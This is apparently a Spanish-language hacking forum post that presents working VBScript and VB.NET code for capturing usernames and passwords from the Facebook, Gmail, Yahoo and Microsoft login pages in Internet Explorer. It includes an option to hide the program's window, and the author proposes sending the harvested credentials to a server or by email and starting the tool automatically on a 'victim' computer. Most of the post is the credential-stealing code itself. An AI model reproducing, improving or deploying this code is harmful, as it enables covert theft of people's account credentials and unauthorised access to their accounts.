Esta ves vengo con un método para averiguar las claves de diferentes web y creo que funciona en varias no nomas las expuestas aquí.
Hace unas horas expuse este tema en el foro:
http://foro.elhacker.net/scripting/aporte_obtener_nombre_de_usuario_y_contrasena_de_facebook_con_un_simple_script-t462593.0.htmlY se me dio una idea y quise hacer algo mas grande, así que se me ocurrió hacerlo en vb.net, pero primero expliquemos el que expuse en el foro, aclaro no es el mismo ya que lo modifique un poco para que funcionara mas bien.
Primero declaramos las variables
option explicit
dim m,t,u,p,IE
Despues creamos un objecto de InternetExplorer
set IE = CreateObject("InternetExplorer.Application")
En la siguiente linea usamos el comando navigate para visualizar la pagina del facebook
IE.Navigate "https://www.facebook.com/"
Y para visualizar la ventana del Internet Explorer usamos este comando
Y creamos un ciclo do while para saber si ya cargo la pagina completamente
Do While IE.ReadyState < 4
Loop
Ahora pasamos el titulo de la ventana de inicio de sesión a la variable m
En la siguiente linea crearemos un ciclo while para saber si estamos en la ventana de inicio de sesión de facebook y cuando cambie el titulo de la ventana este dejara de ejecutarse.
Dentro de este tomamos el valor de el campo "email" y lo aguardamos en la variable "u" y si este campo logra cambiar su contenido preguntamos con el comando if por su valor y su longitud para después aguardar los cambios nuevos en la variable "u"
while IE.LocationName = m
t = IE.document.GetElementById("email").value
if t<>u and len(t)>len(u) then
u = t
end if
t = IE.document.GetElementById("pass").value
if t<>p and len(t)>len(p) then
p = t
end if
wscript.sleep 100
wend
Con el campo "pass" pasa lo mismo toma su valor y si cambia su contenido, estos cambios serán guardados en la variable "p"
Y por ultimo imprimimos el contenido con el comando msgbox
Pero como dije al principio de que se me ocurrió otra idea mas grande, y es utilizar este método pero con diferentes paginas en una sola aplicación.
Pues para eso me programe el siguiente programa en vb.net, un poco mas extenso que el anterior y mejorado aquí el code
Option Explicit On
Public Class Form1
Dim IE As Object
Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
IE = CreateObject("InternetExplorer.Application")
IE.visible = True
Timer1.Interval = 1
Timer1.Start()
'Me.Visible = False'
End Sub
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
Select Case IE.LocationName
Case "Yahoo - Ingreso"
If InStr(IE.LocationUrl, "https://login.yahoo.com/") <> 0 Then
Timer1.Stop()
Log.Text = Log.Text & interseptar("Yahoo - Ingreso", "login-username", "login-passwd", "https://login.yahoo.com/")
End If
Case "Gmail"
If InStr(IE.LocationUrl, "https://accounts.google.com/") <> 0 Then
Timer1.Stop()
Log.Text = Log.Text & interseptar("Gmail", "Email", "Passwd", "https://accounts.google.com/")
End If
Case "Facebook - Inicia sesión o regístrate"
If InStr(IE.LocationUrl, "https://www.facebook.com/") <> 0 Then
Timer1.Stop()
Log.Text = Log.Text & interseptar("Facebook - Inicia sesión o regístrate", "email", "pass", "https://www.facebook.com/")
End If
Case "Iniciar sesión en tu cuenta Microsoft"
If InStr(IE.LocationUrl, "https://login.live.com/") <> 0 Then
Timer1.Stop()
Log.Text = Log.Text & interseptar("Iniciar sesión en tu cuenta Microsoft", "i0116", "i0118", "https://login.live.com/")
End If
End Select
End Sub
Function interseptar(title, idu, idp, url)
On Error Resume Next
Dim u, p, t As String
t = ""
u = ""
p = ""
Do While IE.ReadyState < 4
Loop
While IE.LocationName = title
t = IE.document.GetElementById(idu).value
If t <> u And Len(t) > Len(u) Then
u = t
End If
t = IE.document.GetElementById(idp).value
If t <> p And Len(t) > Len(p) Then
p = t
End If
System.Threading.Thread.Sleep(100)
End While
Timer1.Start()
interseptar = url & "------" & u & "------" & p & vbCrLf & vbCrLf
End Function
End Class
Con un poco mas de imaginación podemos programar que lo capturado de todo el día lo envié a nuestro servidor o por correo y para eso nuestra aplicación tendría que iniciarse al prender la pc victima y otra cosa, es que esto puede funcionar para diferentes paginas.
Una de las desventajas de este programa son de que a veces no captura las claves pero en fin no todo es perfecto
Link del video donde muestro su uso:
https://www.youtube.com/watch?v=NmbFHN2TG5ssaludos Flamer